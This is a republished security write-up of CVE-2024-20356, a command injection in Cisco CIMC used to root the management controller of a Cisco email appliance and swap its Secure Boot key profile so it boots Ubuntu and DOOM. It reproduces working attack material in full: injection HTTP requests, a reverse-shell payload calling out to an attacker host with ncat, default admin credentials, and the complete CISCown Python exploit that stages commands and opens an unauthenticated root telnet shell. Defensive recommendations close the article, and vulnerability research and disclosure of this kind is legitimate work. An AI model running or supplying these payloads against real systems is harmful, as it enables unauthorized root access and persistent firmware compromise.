core-jmp core-jmpdeath of core jump

CVE-2024-20356: Jailbreaking a Cisco Email Appliance to Run DOOM

Aaron Thacker jailbroke a Cisco C195 ESA by splicing a newer BIOS so CIMC came online, exploiting command injection in expRemoteFwUpdate (CVE-2024-20356) for root on the ASPEED BMC, then swapping /tmp/pid_validated so Secure Boot loaded a wider key set. Ubuntu booted. DOOM ran. BootGuard never moved.

oxfemale September 9, 2026 24 min read 107 reads
Export PDF
CVE-2024-20356: Jailbreaking a Cisco Email Appliance to Run DOOM
Original text: "CVE-2024-20356: Jailbreaking a Cisco appliance to run DOOM"Aaron Thacker, LRQA Cyber Labs (Nettitude) (17 April 2024). Code, tables and figures below are reproduced verbatim with attribution captions. The CISCown toolkit is reproduced from github.com/nettitude/CVE-2024-20356 under GPLv3.

If You Only Remember One Picture

A Cisco Email Security Appliance is a grey 1U box that sits on the edge of a company network and reads other people’s mail. It is not supposed to run games. It is not supposed to run Ubuntu. It is not supposed to run anything Cisco did not sign. Intel BootGuard watches the BIOS. UEFI Secure Boot watches the operating system. The lid is screwed down. The VGA port is hidden behind a plate. The lights-out controller, CIMC, is a second computer on the same chassis that can power-cycle the host and feed it Secure Boot keys.

In April 2024 Aaron Thacker of LRQA Nettitude showed that if you own an administrator session on that second computer, a command-injection bug (CVE-2024-20356) gives you root on the BMC. From there you do not smash BootGuard. You lie to it. The BMC tells the BIOS “this chassis is a C195.” Change the nameplate to a different product ID and the BIOS loads a wider key database. Ubuntu boots. DOOM runs. The hardware root of trust never blinked.

Locked mailbox, night watchman, forged nameplate
Secure Boot, CIMC, and a swapped product ID. Diagram: core-jmp.org technical analysis.
Four-stage CVE-2024-20356 jailbreak chain
From a greyed-out BIOS to DOOM without breaking Intel BootGuard. Diagram: core-jmp.org technical analysis.

Executive Summary

The Cisco C195 Email Security Appliance is a rebadged UCS C220 M5. Thacker wanted it as a general server. Public lore said Secure Boot on these appliances could not be bypassed. He dumped the SPI flashes with a CH341A, merged a newer BIOS .cap into the BIOS region so CIMC became configurable, found the BMC bound to 0.0.0.0, gave it an address, and logged in with the documented default of admin / cisco. Inside liboshandler.so on the ASPEED Pilot 4 BMC, ExpFwUpdateUtilityThread formats user input into curl -o /tmp/fwimage.bin %s://%s/%s and passes it to system() after an allow-list that still contains $, ( and ). That is CVE-2024-20356: authenticated command injection as root on the management plane, CVSS 8.7, network-reachable, high privileges required, changed scope.

Root on CIMC is not yet code on the host CPU. The BMC script bios_secure_vars_setup.sh picks a Secure Boot profile from the chassis PID (from FRU, cached in /tmp/pid_validated). Overwriting that cache with ND-NODE-L4 loads a broader PK/KEK/db/dbx set. After a power cycle the EFI shell will load a USB bootx64.efi that the C195 profile had refused. Ubuntu starts. DOOM follows. Cisco was notified 6 December 2023, assigned the CVE, and published fixes on 17 April 2024. Default CIMC credentials and an unpatched BMC remain the practical conditions.

Cisco ESA C195 appliance
Cisco ESA C195-K9. Source: original article, via melbourneglobal.com.au.

Vulnerability Summary

ItemValue
CVECVE-2024-20356
ProductCisco IMC (CIMC) on UCS C-series / appliances including C195 / C220 M5
Tested buildCIMC 4.2(3e) on C195/C220 M5
ClassCWE-78 OS command injection via expRemoteFwUpdate
CVSS 3.18.7 High — AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
AuthCIMC administrator session (defaults historically admin/cisco)
ImpactRoot on the BMC; from there, Secure Boot profile swap and unsigned host EFI
Not brokenIntel BootGuard CPU fuses; the BIOS signature itself
FixCisco advisory cisco-sa-cimc-cmd-inj-bLuPcb (17 April 2024)
ToolkitCISCown — github.com/nettitude/CVE-2024-20356 (GPLv3)
ATT&CKT1190 Exploit Public-Facing Application; T1059 Command and Scripting Interpreter; T1542.001 Pre-OS Boot: System Firmware; T1552.001 Credentials in Files (defaults)
Compiled from the original write-up and Cisco PSIRT. Source: original article plus the vendor advisory.

The Box Under the Badge

From the outside the C195 is an email appliance: two disks, a Cisco AMI BIOS, a serial console, an RPC port for CIMC. Under the lid the silkscreen says C220 M5. A plate on the back hides VGA. That pattern is how Cisco (and everyone else) builds a product line: one server design, many skins. A bug in the skin is local. A bug in the C220 platform is a family reunion.

The BIOS is locked. Secure Boot will only execute Cisco-approved ESA EFI. Thacker tried the obvious paths and, in his words, could not see, modify, or run much.

Locked Cisco AMI BIOS
Appliance BIOS with configuration options disabled. Source: original article.

Three flashes and a CH341A

The board carries three SPI chips. Bottom (green): CIMC/BMC. Middle (marked red): main BIOS. Top: backup BIOS. A CH341A, with the 3.3 V modification, is a cheap SPI programmer and UART. Pull the chip, take a 1:1 dump, hash it, keep several copies. Thacker built a DIY socket so the chip could be reflashed on the fly while watching what the platform wrote back.

Three SPI flash chips on the C220 M5 board
BMC flash, main BIOS flash, backup BIOS flash. Source: original article.
flashrom reading the BIOS chip via CH341A
Reading the middle flash with flashrom. Source: original article.
UEFITool view of BootGuard-protected volumes
UEFITool marking Intel BootGuard regions. Source: original article.

Intel BootGuard is secure boot for the BIOS itself. Public keys are burned into CPU fuses. You cannot replace the whole image with an unlocked AMI and expect the CPU to fetch it. The flash also holds unsigned configuration, so a full-chip rewrite is not the same as a signed BIOS rewrite. The move is: keep ME and the BootGuard-covered prefix, splice only the BIOS region from a vendor .cap.

Splicing a .cap into a live dump

The firmware ISO yields a BIOS .cap. First header is 2048 bytes (metadata for the in-band updater). After that, bzip2. Then another header of 0x10D8 (4312) bytes. The remaining payload is the BIOS region, not a full flash image: Intel ME is missing, so you must not program the .cap onto the chip as-is.

BIOS .cap extracted from the firmware ISO
The update CAP inside the ISO. Source: original article.
2048-byte CAP header
Header the built-in updater reads. Source: original article.
Decompressed CAP missing ME
Update image is BIOS-region only. Source: original article.
Second CAP header 0x10D8
Additional 4312-byte header stripped with a hex editor or dd. Source: original article.
Original dump versus update at the start of the image
Similar start, missing sections in the update. Source: original article.

The splice is mechanical: copy from offset 0x1000000 (16 MiB) in the update over the same offset in the dump. First half of the original flash, second half of the update, concatenate. Sizes must match. UEFITool should still parse, and volume UUIDs in the BIOS region should change.

dd merging BIOS region at 16 MiB
Taking the first half of the dump and the second half of the update. Source: original article.
Original and rebuilt images the same size
Sanity check on length. Source: original article.
UEFITool after the splice
New volume UUIDs in the BIOS region. Source: original article.
Programming the merged image back with flashrom
Same CH341A path, write instead of read. Source: original article.

The new BIOS exposes CIMC configuration. Secure Boot is still on. You still cannot boot your own EFI. You can, however, give the BMC an IP. It had been sitting on 0.0.0.0, which is why the RPC port had been silent.

BIOS screen now offering CIMC configuration
CIMC option appears after the BIOS update. Source: original article.
CIMC static IP 0.0.0.0
Why the dedicated management port never answered. Source: original article.

CIMC: The Computer That Never Sleeps

Cisco Integrated Management Controller is an ASPEED Pilot 4 BMC. Lights-out: KVM, power, fans, BIOS provisioning. It can share host NICs or use a dedicated port. Default user admin, default password cisco in this write-up. It has a long arm: BIOS, peripherals, the host CPU complex. The dashboard still knew it was a C195. Updating CIMC, flipping Secure Boot toggles, even uploading keys from the web UI did not stick. The appliance profile was winning.

CIMC web interface
ASPEED-based BMC UI. Source: original article.
CIMC login and status
Management plane after the IP was set. Source: original article.
CIMC dashboard identifying a C195
The BMC knows the appliance SKU. Source: original article.

CVE-2024-20356: Allow-Listed Command Injection

The same ISO that held the BIOS also held cimc.bin under /firmware/cimc/. One firmware blob serves many SKUs: detect the model, lock some menus, unlock others. binwalk shows a u-boot Linux with a compressed squashfs root. In /usr/local/lib/appweb/liboshandler.so the web handlers still had debug symbols. Ghidra named the interesting thread ExpFwUpdateUtilityThread, reached from the API expRemoteFwUpdate.

cimc.bin in the firmware ISO
Generic C220 firmware used across appliances. Source: original article.
binwalk of cimc.bin
u-boot plus compressed squashfs. Source: original article.
Ghidra on liboshandler.so
Debug symbols still present. Source: original article.
Allow-list versus shell substitution
The validator and the interpolator disagree about what $ ( ) mean. Diagram: core-jmp.org technical analysis.

The curl line

/* ExpFwUpdateUtilityThread(void*) */ 

void * ExpFwUpdateUtilityThread(void *param_1) 

{ 
   int iVar1; 
   ProcessingException *pPVar2; 
   undefined4 uVar3; 
   char *pcVar4; 
   bool bVar5; 
   undefined auStack192 [92]; 
   basic_string<char,std::char_traits<char>,std::allocator<char>> abStack100 [24];

Ghidra decompilation of ExpFwUpdateUtilityThread. Source: original article.

Four parameters: a flag, a scheme (tftp or http), a host, and a path. The path is checked against a “known good” alphabet that includes dollar signs and parentheses. Then:

/* ExpFwUpdateUtilityThread(void*) */ 
if (local_24 == 0) { 
    iVar1 = strcmp(var_param_type,"tftp"); 
    if ((iVar1 == 0) || (iVar1 = strcmp(var_param_type,"http"), iVar1 == 0)) { 
      memset(&DAT_001a3798,0,0x200); 
      snprintf(&DAT_001a3798,0x200,"curl -o %s %s://%s/%s %s","/tmp/fwimage.bin",var_param_type, 
              var_host,var_path,local_48); 
      iVar1 = system_check_user_input(var_host,"general_rule"); 
      if ((iVar1 == 0) || 
        ((iVar1 = system_check_user_input(var_param_type,"general_rule"), iVar1 == 0 || 
         (iVar1 = system_check_user_input(var_path,"general_rule"), iVar1 == 0)))) { 
        bVar5 = true; 
      } 
      else { 
        bVar5 = false; 
      } 
      if (bVar5) { 
        pPVar2 = (ProcessingException *)__cxa_allocate_exception(0xc); 
        ProcessingException::ProcessingException(pPVar2,"Parameters are invalid"); 
                /* WARNING: Subroutine does not return */ 
        __cxa_throw(pPVar2,&ProcessingException::typeinfo,ProcessingException::~ProcessingException); 
      } 

      set_status(1,"DOWNLOADING",'\0',local_2c,local_28); 
      system_secure(&DAT_001a3798); 
    }

User path is interpolated into curl, then handed to system_secure(). Source: original article.

undefined4 system_check_user_input(undefined4 param_1,char *param_2)
{
    int iVar1;
    char *local_1c;
    undefined4 local_18;
    char *local_14;
    undefined4 local_10;
    undefined4 local_c;x
    
    local_c = 0xffffffff;
    iVar1 = strcmp(param_2,"password_rule");
    if (iVar1 == 0) {
        local_1c =
        " !\"#$&\'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}";
        local_18 = 0x57;
        local_c = FUN_000d8120(param_1,&local_1c);
}

Allow-list of 0x57 characters. $ ( ) are present. Source: original article.

undefined4 system_secure(undefined4 param_1)
{
    undefined4 uVar1;
    char *local_10;
    undefined4 local_c;
    
    local_10 =
    " !\"#$&\'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}";
    local_c = 0x57;
    uVar1 = system_secure_ex(param_1,&local_10);
    return uVar1;
}

Second check, same alphabet. Source: original article.

int system_secure_ex(char *param_1,undefined4 param_2) 

{ 
  int iVar1; 
  int local_c; 

  local_c = -1; 
  iVar1 = FUN_000d8120(param_1,param_2); 
  if (iVar1 == 1) { 
    local_c = system(param_1); 
  } 
  else { 
    syslog(3,"%s:%d:ERR: The given command is not secured to run with system()\n","systemsecure.c ", 
            0x98); 
  } 
  return local_c; 
}

If the allow-list says yes, system() runs the whole curl line. Source: original article.

An allow-list that contains the shell’s interpolation characters is a denylist that forgot what it was for. $(echo $USER) in the path becomes the username in the HTTP request the BMC makes. $(ncat host 1337 -e /bin/sh) becomes a reverse root shell. The API is a POST to /data with an admin sessionCookie and sessionID.

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(echo $USER)")

Minimal injection: leak the BMC user via curl. Source: original article.

POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=ef4eb2e3b0[REDACTED]
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html

sessionID=2132002102bb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(echo%2520%2524USER)%2522)

HTTP shape of the leak. Source: original article.

Burp request for expRemoteFwUpdate command injection
Authenticated POST to /data. Source: original article.
Attacker web server receiving command output
curl exfiltrates $(echo $USER). Source: original article.
set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(ncat 192.168.0.96 1337 -e /bin/sh)")

Reverse shell via the same interpolator. Source: original article.

POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=05f0b903b0[REDACTED]
Content-Length: 228
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html

sessionID=1e310e110fb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(ncat%2520192.168.0.96%25201337%2520-e%2520%252fbin%252fsh)%2522)

Full reverse-shell request. Source: original article.

Reverse-shell injection in Burp
ncat -e /bin/sh through expRemoteFwUpdate. Source: original article.
Root shell on the ASPEED BMC
id, uname, CPU on the management processor. Source: original article.

Session tokens come from an administrator login. The write-up’s screenshot note says admin / password for that capture; the CIMC section and the public toolkit default to cisco. Treat both as historical defaults to rotate, not as a single gospel password. sessionCookie is in Set-Cookie; sessionID is <sidValue> in the login XML.

Login response showing sessionCookie and sidValue
Where the two tokens live. Source: original article.

Blind injection that rides curl dies on long output and odd bytes. nginx on the BMC only serves a regex of names in the web root (index.html, 401.html, …). The name in.html matches and is unused. The toolkit writes command output to /usr/local/www/in.html and GETs it back.

nginx location regex for the web root
in.html is an allowed name. Source: original article.

CISCown: The Public Toolkit

Thacker shipped CISCown: test, command, telnetd root shell, and a front-panel LED “dance.” Login encrypts the password with a CryptoJS-compatible salted AES derived from a FNV-ish mix of the username (the same dance the CIMC JavaScript does). Each /data POST carries a Cspg_var HMAC of the session id and the query string. Commands longer than 100 characters are hex-chunked into /tmp/cmd.sh through successive injections, then a stager runs the file and drops stdout on in.html.

Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
  -h, --help            Show this help message and exit
  -t HOST, --host HOST  Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -u USERNAME, --username USERNAME
                        Username (default: admin)
  -p PASSWORD, --password PASSWORD
                        Password (default: cisco)
  -a ACTION, --action ACTION
                        Action: test, cmd, shell, dance (default: test)
  -c CMD, --cmd CMD     OS command to run (Default: NONE)
  -v, --verbose         Displays more information about cimc

README usage. Source: github.com/nettitude/CVE-2024-20356.

CISCown test action succeeding
Random number echoed to in.html. Source: original article.
CISCown running id
cmd action. Source: original article.
CISCown cat /proc/cpuinfo
ASPEED CPU visible from the BMC. Source: original article.
CISCown opening busybox telnetd
shell action. Source: original article.
Unauthenticated telnet root on port 23
busybox telnetd -l /bin/sh -p 23. Source: original article.
CIMC front-panel LEDs blinking a dance
Action dance. Source: original article.

The Python client below is the public GPLv3 PoC, reproduced in full. It is a demonstration for a patched 2024 CVE. Do not point it at systems you do not own.

#!/usr/bin/python3
"""
Exploit for CVE-2024-20356: Command Injection in Cisco CIMC
Aaron Thacker @ LRQA Nettitude 2024

Full details can be found at https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom

This proof-of-concept is for demonstration purposes and should not be used for illegal activities. LRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.

Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
  -h, --help            show this help message and exit
  -t HOST, --host HOST  target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -u USERNAME, --username USERNAME
                        Username (default: admin)
  -p PASSWORD, --password PASSWORD
                        Password (default: cisco)
  -a ACTION, --action ACTION
                        Action: test, cmd, shell, dance (default: test)
  -c CMD, --cmd CMD     OS command to run (Default: NONE)
  -v, --verbose         Displays more information about cimc

"""

import Crypto.Random
import Crypto.Cipher
import base64
import hashlib
import hmac
import requests
import urllib3
from Crypto.Cipher import AES
import urllib.parse
import re
import xml.etree.ElementTree as ET
import argparse
import random
import time

# Set to "127.0.0.1:8080" to use a proxy
proxy = None

# derrived from /lib/thirdparty/thirdparty.js
def hashFnv32(a, b):
	b = bytes(b, encoding='ascii')
	e = 40389
	h = a[0:32]
	f = len(h)//4
	for i in range (0, f):
		e = e ^ ord(a[i])
		e = e + (e << 1)
	return hmac.new(bytes(str(e), encoding='ascii'), b, hashlib.sha512).hexdigest()

# derrived from /lib/thirdparty/thirdparty.js
def keyFnv32(a):
	e = 40389
	h = a[0:32]
	f = len(h)//4
	for i in range (0, f):
		e = e ^ ord(a[i])
		e = e + (e << 1)
	e = str(e)
	return e

# derrived from CryptoJS
def derive_key_and_iv(secret):
	salt = Crypto.Random.new().read(8)
	secret = bytes(secret, encoding='ascii')
	keylen = 32
	ivlen = 16
	secret += salt
	k = hashlib.md5(secret).digest()
	w = k 
	while len(w) < (keylen + ivlen):
		k = hashlib.md5(k + secret).digest()
		w += k
	return  w[:keylen], w[keylen:keylen+ivlen], salt

def pad(data):
	BLOCK_SIZE = 16
	return data+(BLOCK_SIZE-len(data)%BLOCK_SIZE)*chr(BLOCK_SIZE-len(data)%BLOCK_SIZE)

# derrived from CryptoJS
def encrypt(username, password):
	secret = str(keyFnv32(username))
	msg = password
	key, iv, salt = derive_key_and_iv(secret)
	aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv)
	padded_msg = bytes(pad(msg), encoding='ascii')
	encrypted_msg = aes.encrypt(padded_msg)
	return base64.b64encode(b"Salted__" + salt + encrypted_msg)


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def headers():
	print("""
   _____ _____  _____  _____                    
  / ____|_   _|/ ____|/ ____|                   
 | |      | | | (___ | |     _____      ___ __  
 | |      | |  \___ \| |    / _ \ \ /\ / / '_ \ 
 | |____ _| |_ ____) | |___| (_) \ V  V /| | | |
  \_____|_____|_____/ \_____\___/ \_/\_/ |_| |_|
                                                                              
		""")
	print("~ Because every vulnerability needs a cool tool")
	print("~ AThacker @ LRQA Nettitude | v1.0\n")
	print("This proof-of-concept is for demonstration purposes and should not be used for illegal activities.\nLRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.")


def login(target, username, password):
	enc_password = encrypt(username, password)

	req = requests.post(f"https://{target}/data/login",
		headers={'Referer':f'https://{target}/login.html','Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		data={"user":username,"password":enc_password}
	)

	root = ET.fromstring(req.content)
	if root.find('authResult').text == '0':
		sidValue = root.find('sidValue').text
		adminUser = True if root.find('adminUser').text == '1' else False
		cookieValue = re.search('sessionCookie=([a-z0-9]{32});', req.headers['Set-Cookie']).group(1)
		print(f"sidValue: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
		print(f"cookieValue: {cookieValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
		print(f"Admin user: {adminUser}")
		return (True, cookieValue, sidValue, adminUser)
	else:
		return (False, None, None, None)

def logout(target, sidValue):
	print(f"Logging out: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
	req = requests.post(f"https://{target}/data/logout",
		headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		data={"sessionID":sidValue}
	)
	return None

def query(target, cookieValue, sidValue, input_cmd):
	res = query_raw(target, cookieValue, sidValue, input_cmd)
	return ET.fromstring(res.content)

def query_raw(target, cookieValue, sidValue, input_cmd):
	cmd = urllib.parse.quote(input_cmd)
	res = requests.post(f"https://{target}/data",
		headers={'Referer':f'https://{target}/index.html','Cookie':f'sessionCookie={cookieValue}','Cspg_var':hashFnv32(sidValue	,input_cmd),'Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		data={"sessionID":sidValue,"queryString":cmd}
	)
	return res

def get_host_info(target, lreq):
	resp = query(target, lreq[1], lreq[2], 'get=sessionData')
	if resp.find("status").text == "ok":
		sessionData = resp.find("sessionData")
		print(f'cimcIp: {resp.find("cimcIp").text}')
		print(f'lzt: {sessionData.find("lzt").text}')
		print(f'sysPlatformId: {sessionData.find("sysPlatformId").text}')
		print(f'sessionId: {sessionData.find("sessionId").text}')
		print(f'canClearLogs: {sessionData.find("canClearLogs").text}')
		print(f'canAccessKvm: {sessionData.find("canAccessKvm").text}')
		print(f'canExecServerControl: {sessionData.find("canExecServerControl").text}')
		print(f'canConfig: {sessionData.find("canConfig").text}')
		print(f'intersightMode: {sessionData.find("intersightMode").text}')
		return resp
	else:
		print(resp.find("status").text)
		raise Exception("sessionData returned weird results")
	
# v0.2 exec code
def exec(target, lreq, command):
	out_file = '/usr/local/www/in.html'
	tmp_cmd_file = '/tmp/cmd.sh'
	stager_cmd = f'sh < {tmp_cmd_file} > {out_file} 2>&1 || true'
	stager_cmd_file = '/tmp/stager.sh'
	MAX_COMMAND_LENGTH = 100
	command_split = [command[i:i+MAX_COMMAND_LENGTH] for i in range(0, len(command), MAX_COMMAND_LENGTH)]

	query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$( >{tmp_cmd_file})")')
	for i_cmd in command_split:
		encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in i_cmd)
		query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" >> {tmp_cmd_file})")') 
	
	encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in stager_cmd)
	query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" > {stager_cmd_file})")')

	query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(sh {stager_cmd_file})")')

	web_file = out_file.split('/')[-1:][0]
	res = requests.get(f"https://{target}/{web_file}",
		headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		stream=True
	)
	if res.status_code == 200:
		query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(rm -f {tmp_cmd_file} {stager_cmd_file} {out_file})")')
		out = res.raw.read()
		return str(out, encoding='utf-8')
	else:
		return None

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("-t","--host", type=str, help="Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)", required=True)
	parser.add_argument("-u","--username", type=str,  default="admin", help="Username (default: admin)", required=True)
	parser.add_argument("-p","--password", type=str,  default="cisco", help="Password (default: cisco)", required=True)
	parser.add_argument("-a","--action", type=str, default="test", help="Action: test, cmd, shell, dance💡 (default: test)")
	parser.add_argument("-c","--cmd", type=str, default="", help="OS command to run (Default: NONE)")
	parser.add_argument("-v","--verbose", default=False, action='store_true', help="Displays more information about cimc")
	args = parser.parse_args()

	if not args.cmd == "":
		args.action = "cmd"

	headers()
	print("")
	print(f"Attempting login as: {args.username}\n")
	lreq = login(args.host, args.username, args.password)
	if lreq[0]:
		print("Login: successful\n")
		if args.verbose:
			print("Gathering CIMC info:")
			get_host_info(args.host,lreq)
			print("")

		if args.action == "test":
			print("Action: test")
			test_num = random.randint(1111,9999)
			test_results = exec(args.host, lreq, f'echo -n {str(test_num)}')

			if test_results:
				if (str(test_num) in str(test_results)):
					print(f"🟩 Success! {test_num} given, {str(test_results)} returned")

				else:
					print("🟥 Could not exploit the vulnerability! Response file exists but output does not match")

			else:
				print("🟥 Could not exploit the vulnerability! Could not see output on web server")

		elif args.action == "cmd":
			print(f"Action: cmd")
			print(f"CIMC:/$ {args.cmd}")
			out = exec(args.host, lreq, args.cmd)
			if out:
				print(out)
			else:
				print("Something went wrong")

		elif args.action == "shell":
			print(f"Action: shell")
			print("Warning: This will open up port 23 on the Cisco CIMC interface connected to the network.\nThe shell will provide root access with NO authentication.")
			c = input("Type 'y' to continue: ")
			if c.lower() == "y" or c.lower() == "yes":
				print(f"CIMC:/$ busybox telnetd -l /bin/sh -p 23\n")
				exec(args.host, lreq, "busybox telnetd -l /bin/sh -p 23")
				print(f"Please run: telnet {args.host}")
			else:
				print("Confirmation not provided")

		elif args.action == "dance":
			exec(args.host, lreq, "sh -c 'for i in 1 2 3 4 5 6 7 8 9 10; do /etc/plumas1/etc/scripts/LED.sh ON && sleep 0.1 && /etc/plumas1/etc/scripts/LED.sh OFF && sleep 0.1; done'") # only works with exec v0.2
			
			print("\\^o^/", end="\r")
			for i in range(0, 8):
				print("\\^o^/", end="\r")
				time.sleep(0.5)
				print("/^o^\\", end="\r")
				time.sleep(0.5)
			print("/^o^\\")
			
		else:
			print("Action: unknown")

		logout(args.host, lreq[2])
	else:
		print("Login: unsuccessful")

CVE-2024-20356.py — CISCown, GPLv3, Aaron Thacker / LRQA Nettitude 2024. Source: GitHub nettitude/CVE-2024-20356.

Secure Boot Without Breaking BootGuard

Root on the BMC still cannot run host EFI that the C195 db does not trust. The boot menu offers the EFI shell. A USB stick throws Secure Boot Violation. The EFI shell itself refuses unsigned loaders. The toggle to disable Secure Boot stays grey.

Boot menu with only the EFI shell
Single authorised boot device. Source: original article.
Secure Boot Violation on USB
Unsigned media rejected. Source: original article.
EFI shell refusing unsigned files
Shell is not an escape hatch. Source: original article.
Disable Secure Boot greyed out
The appliance profile owns the switch. Source: original article.
Secure Boot configuration still locked
Keys from the web UI did not take. Source: original article.

UEFI Secure Boot is four databases: db (allowed), dbx (revoked), KEK (who may update db/dbx), PK (platform key). This chassis’s db is Cisco appliance EFI only. Vendors may store those blobs in flash, TPM, or somewhere the BMC can see. On this platform the BMC prepares them at start-up.

bios_secure_vars_setup.sh on the BMC
Startup script that feeds keys to the BIOS. Source: original article.
Hardcoded Secure Boot profiles in the script
One profile per product family. Source: original article.

PID comes from /tmp/pid_validated, else from the FRU via platform management, then is cached. C195 matches a regex in is_stbu_rel, variables are set, update_pers_data selects the keystore the BIOS will use. Trust chain: FRU → BMC (PID) → BIOS (PK/KEK/db/dbx). The FRU is honest. The cache file is just a file on a BMC you now own.

PID lookup from FRU or /tmp/pid_validated
C195 is written into the cache. Source: original article.
Script walking supported profiles
Each profile is a full key set. Source: original article.
PK KEK DB DBX files per profile
The actual keystores. Source: original article.
is_stbu_rel regex selecting a profile
PID string to Secure Boot personality. Source: original article.
update_pers_data applying the profile
BIOS is told which keys to load. Source: original article.

Lie about the SKU

Thacker’s note in capitals: back up the BIOS first. A bad key set that does not authorise firmware volumes will brick the boot path. Shut the host down. Confirm PID C195. Overwrite /tmp/pid_validated with ND-NODE-L4 (a profile that trusts a wider set of EFI vendors). Re-run bios_secure_vars_setup.sh. Power on.

PID still C195
Before the swap. Source: original article.
/tmp/pid_validated overwritten with ND-NODE-L4
The forged nameplate. Source: original article.
bios_secure_vars_setup.sh rerun
Keys reloaded for the fake SKU. Source: original article.

Ethernet controllers appear as boot devices. That is extra EFI modules. The USB stick that previously died with a violation now loads bootx64.efi. Ubuntu starts on an Email Security Appliance. Then DOOM.

Additional NIC boot devices after the key swap
Broader EFI modules loaded. Source: original article.
Selecting the USB OS from the boot manager
External UEFI media. Source: original article.
bootx64.efi loading instead of Access Denied
Unsigned (to the C195 db) loader runs. Source: original article.
Ubuntu on the Cisco C195
Non-appliance OS on appliance hardware. Source: original article.
DOOM running on the Cisco email appliance
The stated goal. Source: original article.
DOOM gameplay on the C195
If a fridge can do it, so can CIMC. Source: original article.

What This Is, and What It Is Not

BootGuard still measured the BIOS. The CPU fuses did not change. The attack never needed a BootGuard bypass, a TPM glitch, or a flash-resident implant in the ME region. It needed (1) a BMC that would talk, (2) an administrator password, often the default, (3) a command injection Cisco later patched, and (4) a BMC script that trusted a world-writable PID cache more than the FRU. That is a management-plane story. Email appliances, UCS C-series, and anything else sharing this CIMC build inherit it. Cisco’s affected-product list is the authority; the C195 was the lab animal, not the only species.

Impact is the BMC triad: read and alter host firmware and configuration, plant a BMC implant that outlives disk reimage, brick the box. Availability was scored none in the vector Thacker quotes (C:H/I:H/A:N) even though a corrupted keystore can prevent boot; treat that as “the injection itself does not DOS the HTTP stack,” not as “you cannot brick the host.”

Disclosure

Cisco was told on 6 December 2023, triaged on the 7th, PSIRT within 24 hours. Public date 17 April 2024, CVE-2024-20356, High 8.7. Thacker thanks Todd Reid, Amber Hurst, Mick Buchanan, and Marco Cassini at Cisco. Advisory: cisco-sa-cimc-cmd-inj-bLuPcb.

Key Takeaways

  • An email appliance is often a general-purpose server with a stricter BIOS personality. The personality is software. The BMC is how that software is chosen.
  • Intel BootGuard can be intact and you can still run Ubuntu if the component that loads Secure Boot keys is compromised.
  • CVE-2024-20356 is textbook CWE-78: snprintf into system() with an allow-list that includes $().
  • Default CIMC credentials turn a high-privilege CVE into a network-facing root on the management processor.
  • /tmp/pid_validated is a cache that became a trust boundary. Caches that select cryptographic identities are identities.
  • Splicing a vendor .cap at 16 MiB is how you update a BootGuard-protected BIOS without touching ME. That is a lab technique, not a remote exploit.
  • DOOM is the punchline. Persistence on the BMC is the sentence.

Defensive Recommendations

  • Patch CIMC to a build listed in cisco-sa-cimc-cmd-inj-bLuPcb. Inventory every UCS C-series and Cisco appliance BMC, not only ESA.
  • Change CIMC defaults. admin/cisco is not a rumour; it is in the write-up and the toolkit. Put BMC on a dedicated management VRF, not the email DMZ.
  • Alert on CIMC /data posts containing expRemoteFwUpdate, $(, or in.html GETs from non-browser clients.
  • Treat BMC firmware as in-scope for integrity monitoring. A root shell there outlives a host reimage.
  • If you must expose CIMC, require unique passwords, disable unused KVM/virtual-media, and log PID/profile changes.
  • Do not use appliance SKUs as general servers without accepting that you are fighting Secure Boot. The supported path is a different PID or a UCS, not a jailbreak.
  • Back up SPI dumps before any lab work on BootGuard platforms. A wrong db is a brick.
  • Red-team BMC the way you red-team iLO/iDRAC/IMM: default creds, old firmware, command injection in “firmware update” APIs.

Conclusion

